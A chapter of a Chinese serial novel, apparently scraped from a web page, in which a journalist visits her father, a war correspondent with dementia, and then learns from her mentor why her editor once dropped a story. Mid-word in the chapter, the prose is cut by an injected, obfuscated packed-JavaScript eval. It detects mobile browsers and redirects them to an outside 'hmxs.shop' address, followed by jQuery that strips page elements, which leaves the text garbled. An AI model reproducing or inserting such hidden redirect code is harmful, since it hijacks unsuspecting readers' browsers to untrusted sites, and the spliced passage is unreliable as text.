最后，她还是冒着雨，回了一趟疗养院。


    从出租车上下来，雨丝已经密到遮盖视线，窗明几净的疗养院深藏在雾气缭绕的雨幕里，像一个未解的谜。


    前台护士看到她，很是惊讶：“怎么今天过来？哦，是黎先生又给你打电话了？”


    黎叙闻点头：“多久了？”


    护士平静道：“一个多小时了吧，再有一小时怎么也该安静了。”


    黎叙闻嗯了一声，走进病区幽深的走廊。


    她走到病房门口，见房门大开着，里面乱得如同刚刚经历过洗劫：地上全是散落的空白纸张，床头柜堆满平展的文件夹，被单一半铺在床上，另一半布满皱褶，躺在地上被他过来过去的脚步践踏，全是黑黑的脚印。


    黎策双手抓着头发，在房间里四处转圈翻找，所到之处无一例外地一通嚯嚯，一边翻嘴里一边嘟囔：“哪儿去了……刚刚明明还在的……哪儿去了呢……”


    黎叙闻在门口看了一会儿，突然说：“丢了。”


    黎策茫然地抬头看她：“你是谁？”


    黎叙闻很有经验地沉默，等着他给自己安一个角色，然后顺着他的剧本继续往下演。


    “哦，对了，你是来拿情报的！”黎策一拍脑袋：“你终于来了！你等等，马上就找到了，今天你一定要把情报发出去……”


    黎叙闻冷着一张脸：“资料已经弄丢了。”


    “我没有啊，”黎策抹了一把脸，就像抹去多年前他战栗的汗水：“没丢，肯定没丢，你等等。”


    黎叙闻看着他的背影，忽然一阵不耐。


    她大步冲进去，一把扳过黎策的肩膀，双手抓紧他的手臂：“你丢了！四百人的性命在你手上，可是你没把情报送出来！你把它们弄丢了！”


    黎策瞪大眼睛望着她，却不知透过她愤怒失望的眼睛，到底看到了谁。


    或许他又回到了那个满地废墟的破败城市吧，因为黎叙闻的呼吸间，似乎也闻到了一种窒闷腐败的硝烟气味。


    她在这样的气息中，蓦然卸了力。


    “那时候到底发生了什么？”她垂下双手，第无数次问：“你能不能告诉我，那时候你做了什么，闹得总台不得不开除你？”


    黎策呆愣地看了她一阵，猛地推开她：“你胡说！我没丢、没丢！”他不管不顾地继续回身翻找，像土拨鼠一样把土地再犁一遍：“你不是来拿情报的，你走吧，你滚！”


    说到最后，他几乎是在咆哮，中气十足，震得空气都在发颤。


    这是他生病之后难得有力量的时候，不像他年轻时，高大，沉稳，无论说什么都掷地有声，总能解答黎叙闻一切突发奇想的疑问。


    他也曾经让她坐在自己的肩膀上，指着远方跟她说，闻闻你看，那边有个国家正在打仗。爸爸就要去那里工作，好让那里的小朋友也跟你一样，早点过上幸福的生活。


    现在他的身影，已经没法与那时候的父亲重合了。


    黎叙闻闭了闭眼，冷声问：“闹够了么。”


    他却忽然回过自己干瘪的背影，浑浊的瞳仁盯着她，说：“你也不信我吗？”


    黎叙闻一愣，意识到他在说什么的瞬间，不可置信地站直了身体。


    他想起来了？


    他终于清醒到能跟她说一说当年，说一说那个让他停职、最后闹得妻离子散的错误了？


    但紧接着，他又转身，絮絮叨叨地：“对，对，我不能泄密，那是个大秘密！”


    黎叙闻肩膀陡然垮下来，长长地叹了一声。


    果然，一切都还是妄想。


    他的记忆或许还完整地沉睡在大脑中的某个角落，但通向那记忆的路径，早就跟着那份情报，一起丢失了。


    黎叙闻垂下眼睛：“爸爸。”


    她声音很轻：“我好想你。”


    黎策显然已经耗尽了体力，他背对着她席地而坐，肩头向里勾着，似乎在苦思冥想，又似乎在痛苦。


    一旦他陷入这种状态，旁人说什么都没用了。


    因为每一次发病都是一次闪回，他会完全被拉回到那个时空。那里没有女儿，没有疗养院，只有他必须要完成、也永远不可能完成的任务。


    她舌根发苦，最后看了一眼背对着她、动作迟缓的黎策，便转身离去。


    她从疗养院出来时，外面还在下大雨。


    今年的雨水似乎特别多，这场雨下得路面冒烟，她就撑着伞，隔着雨雾回头望了一眼。


    黎策已经平静下来，正趴在被淋湿的窗台，两只小臂搭在外面，见她回头，立刻高兴地冲她挥舞起来。


    这让黎叙闻想起从前念书的时候，爸爸在外采访，经常不在家，偶尔赶上休假，他就会在爬着翠绿爬山虎的窗户上这样看自己去上学的背影。


    那时她叛逆，哎哟一声，挥着手让他赶紧回去，肉麻死了。


    再后来，爸爸眼睛里渐渐再也倒映不出她的身影，那里面搁浅的、埋葬的，永远都是千里之外血肉横飞的沙场。


    她至今仍不明白，为什么他已经那么优秀，也还是克服不了自己的软弱。


    这个问题，直到今天她也没有得到答案。


    年少时的爬山虎化成根根铰链，从异乡到现在，一步一步拖着她走到今天。


    但没有关系，总有一天，她会亲自去，会亲自做出自己的解答。


    黎叙闻扭头迈进雨里，才想起来，她走得太急，根本没叫车。她苦笑一声，索性直接往外走，想着走到哪算哪，冷静冷静也好。


    可她才踏出两步，再一抬头，竟看到了马颂今开着他那辆破烂帕萨特，在疗养院门口，正撑着伞往里望。


    见她走来，远远地就招手叫她：“闻闻，吃饭了吗？”


    黎叙闻眼眶一热，快步走到车前，还在吸鼻子：“没有，马叔，我饿。”


    马颂今笑着说：“那想吃什么？”


    “……火锅。”


    马颂今“哎”了一声，给她开门：“走，吃火锅。”


    帕萨特像一叶黑色的小船，破开雨幕，载着她从潮热的雨林到淋漓的都市，最后停在了一家港式边炉门口。


    稀薄雪白的水米在锅里翻滚着，渐渐变得粘稠，她的心情放心去滚了一遭，也慢慢浸透了温暖的米香。


    她在蒸腾的雾气中眨眨眼，往锅里下了虾滑：“你怎么知道我在疗养院？”


    马颂今其实不知道，他只是去探望黎策的，门口护士说黎小姐也在，他就识趣地没有上去。


    他涮了一把菜：“他状态怎么样？”


    “不怎么样，又在找。”


    马颂今手底下调着酱汁，没做声。


    黎叙闻眼看着他往碗里加了第三把小米辣，终于还是没忍住：“马叔，那天……”


    “我真的不知道。”


    马颂今知道她要问什么，因为这么多年，她已经问了无数次了。


    黎叙闻哦了一声，不说话了。


    空气一时静默起来，跟着远处食客的谈天声起起伏伏的，只有从锅底腾起，又在米粒之间碎裂的气泡咕嘟声。


    “我也一直都想问他，到底发生了什么，他好好地出去送情报，怎么就晕倒在糖果店里了，东西也被人抢了。”马颂今眼睛也没抬，顾自道：“这么多年了，我要是真的知道，你觉得我会瞒着你不跟你讲吗？”


    黎叙闻隔着白雾看他这两年日益退行的发际线，咽了咽，没再往下问。


    她见过马叔去看她爸爸，那时候他哽咽着问，如果那时候他争气些，扛着疟疾硬撑着去送情报，事情会不会不一样？


    她还记得年轻的马叔红着眼睛跟她妈妈道歉，说嫂子对不起，黎哥这是替了我。以后你跟闻闻遇到什么问题，都尽管来找我。


    愧疚是最经不起细问的，它很容易就会变成无限膨大的肿瘤，最后变成不能细看的恨意。


    黎叙闻给他捞了一颗虾滑，丢进辣椒中间，自己也捞出一颗咬了一口，忽然说：“其实我跟我妈早就知道，他变成这样，大概是迟早的事，只是我们没想到这天来得这么快。”


    马颂今笑了一声，却没接这一句，反而生硬地转移了话题：“主编停了你的职，委屈了没有？”


    黎叙闻吞了虾滑，笑道：“委屈什么，又不是小孩子。”


    马颂今眉头稍展：“你们主编业务能力不错的，你在她手底下能学到点东西。虽然这次你越级发报道确实不对，里面有些伦理界限，把握得也不够好。”


    他顺势把碗里的虾滑又夹给黎叙闻：“但总体做得不错，再接再厉。”


    黎叙闻：……


    她还以为能骗着小老头吃掉碗里那三把小米辣，结果人家心里门儿清，又捞给她了！


    黎叙闻气笑了，直接把虾滑丢进锅里：“你就不能吃一次亏！”


    马颂今大笑，笑得皱纹都舒展了开。


    黎叙闻笑了一阵，又咬着筷子，道：“就是我的报道，不知道她要给我怎么删。”她叹了一声：“那个小姑娘……”


    “你没看到吗？”


    黎叙闻懵懂着问：“什么？”


    马颂今摇摇头，把手机递给她：“自己的报道自己不关注舆情，谁教你的？”


    黎叙闻狐疑地接过手机，首先去翻自己的报道，发现别说删减重要内容，连一个标点符号都没少。


    她又去看评论区，果不其然，转发和评论的画风已经逐渐倾斜，矛头开始对准调查记者本人，质问黎叙闻在事件里有没有推波助澜，琳琳一个孱弱的女孩，为什么能下那么大决心刺伤父亲，这里面记者的挑拨肯定功不可没。


    但再往上翻，新的评论方向又渐渐趋于正常，恢复到了之前对代孕的抵制和制度的讨论上。


    她讶异地退出来，发现商报社会观察版的移动端界面，多了一条置顶消息。


    她不明所以地点开，一阵带着萧瑟的轰然热意，顿时在她眼底生长出来。


    那是一则简


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868177|190916||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    短的声明：


    商报全力支持社内记者在代孕追踪调查中的成果。此项报道由编辑团队严格审核，并由全体决策成员共同决定发布。商报将承担由此产生的所有后果，并始终坚定支持黎叙闻记者的理想与决心。


    我们强烈谴责任何对记者本人的恶意揣测与人身攻击。商报将采取一切法律手段，追究相关责任人，维护记者的合法权益。


    感谢社会各界的关注与监督。


    落款是“商报编辑部全体”


    黎叙闻恍然地抬头，顾不上遮掩眼底的水汽，问：“这是……谁写的？”


    马颂今哼笑：“谁写的，你说是谁写的？当然是你的好主编，季筝。”


    他笑着不住摇头：“还‘商报编辑部全体’，她不发我根本都不知道有这个声明。”


    他一根指头戳了下黎叙闻的脑袋：“就说你越级发布是跟谁学的……上梁不正下梁歪！”


    “她？她以前不是……”黎叙闻快速眨了眨眼睛，觑着马颂今的脸色，一副刻意的欲言又止。


    马颂今撩她一眼：“鬼迷日眼的，问。”


    黎叙闻放下筷子，神神秘秘道：“季主编，她……”


    “你想问她之前究竟收没收钱？”


    “嗯。”


    “……嘁，小崽子，想什么呢？”


    然后，黎叙闻就听到了一个她始料未及的故事。


    当年季筝确实收了钱，终止了调查，几个月的暗访，最后连报道也没发，但原因跟黎叙闻想象的一点都不同。


    那个假药案查到最后，所涉及的已经不是季筝一个小小的记者可以触及的了，再深入，她不但拿不到真相，连商报都可能被波及。


    正当她两难之时，受害人家属突然联系她：受害人突发后遗症，人已经进了ICU，病势凶险，费用续不上，人百分之百会没。


    但她就是个记者，即便掏空积蓄也是杯水车薪，于是她想了一个办法。


    她去找了她能接触到的药企的最高负责人，提出私了。


    有她的聪明在背后替受害者谋划周旋，结果自然皆大欢喜——病人得到了及时的救治，恢复良好；药企那边花钱买了安心，虽然在季筝的阻挠下最后没扭转为正面报道，但也算躲过一劫。


    方方面面都完美，除了季筝锁进抽屉里的那份稿件，和垫在稿件下面、被她一同锁起来的，身为记者的尊严。


    那次之后，她主动向马颂今请辞，马颂今驳回了她的辞呈，并力排众议，把她扶成了主编，让她依然在新闻事业中奋斗，也不算浪费了她的才华。


    直到锅里的粥底发出淡淡的糊味，黎叙闻都没有想起要拿起勺子搅一搅。


    她怔愣地盯着锅里上下翻滚的粥米，甚至不知该用什么表情来回应这个真相。


    哑然了半晌，她才问：“季主编……她为什么不说呢？”


    马颂今垂着眼，用勺子轻轻舀动白粥：“有些事她自己都面对不了，那解释也就没意义了。”


    黎叙闻恍惚着，再次陷入沉默。


    她想起自己在调查中所面对的两难——她也曾想过要放弃，只是她比季筝幸运，痛苦的妥协，最终没有落到她的头上。


    马颂今看着她恍惚的表情看了很久，觉得终于是时候，教给她最后一课了。


    “闻闻，真相是有代价的。做记者做到最后，报道的是事，可凭的是良心，看清的是人。”


    马颂今说得很慢，像是在把什么很重的东西，慢慢交到她手上。


    “新闻干到最后，拼的就是自己——是你能放弃多少东西，能克服多少心魔，能付出多少代价。这个代价可能是你，可能是你的当事人，也有可能是你亲近的人。”


    他轻轻搅动锅底，夹了一块牛肉，放进她碗里：“但我还是希望你能留在牌桌上，不要像你爸爸一样，在黎明前倒下。”


    “保护好自己，”马颂今看着这个跟黎策有着同样倔强表情的女孩：“然后去冲锋陷阵。”


    黎叙闻低下头，也不管烫，把那块牛肉囫囵咽了，猛眨了几下眼睛，才重新抬头，笑着说：“知道了，马爹。”


    她侧身躲过马颂今来敲她脑袋的手，安静地吃了一阵，拿出手机，在那篇报道的评论区，发了一条置顶评论：


    “我们所做的一切，都是为了昔日不甘的妥协不再重演。”


    几公里之外的商报办公室，季筝正吃着外卖，手机叮咚一声，她立刻扔下筷子，去看新的评论。


    白底黑字的一行，挤挤挨挨地跳入她的眼帘。


    那语气，简直就是黎叙闻本人，瞪着眼睛紧绷着小脸，在她面前大放厥词。


    又严肃，又幼稚。


    像极了多年以前，某个同样热血、同样愚蠢的记者。


    季筝盯着这条置顶评论看了一会儿，面无表情熄了屏，拿起筷子继续吃饭。


    两片菜叶下肚，她停下咀嚼，忽而无声地笑了。


    “小孩儿。”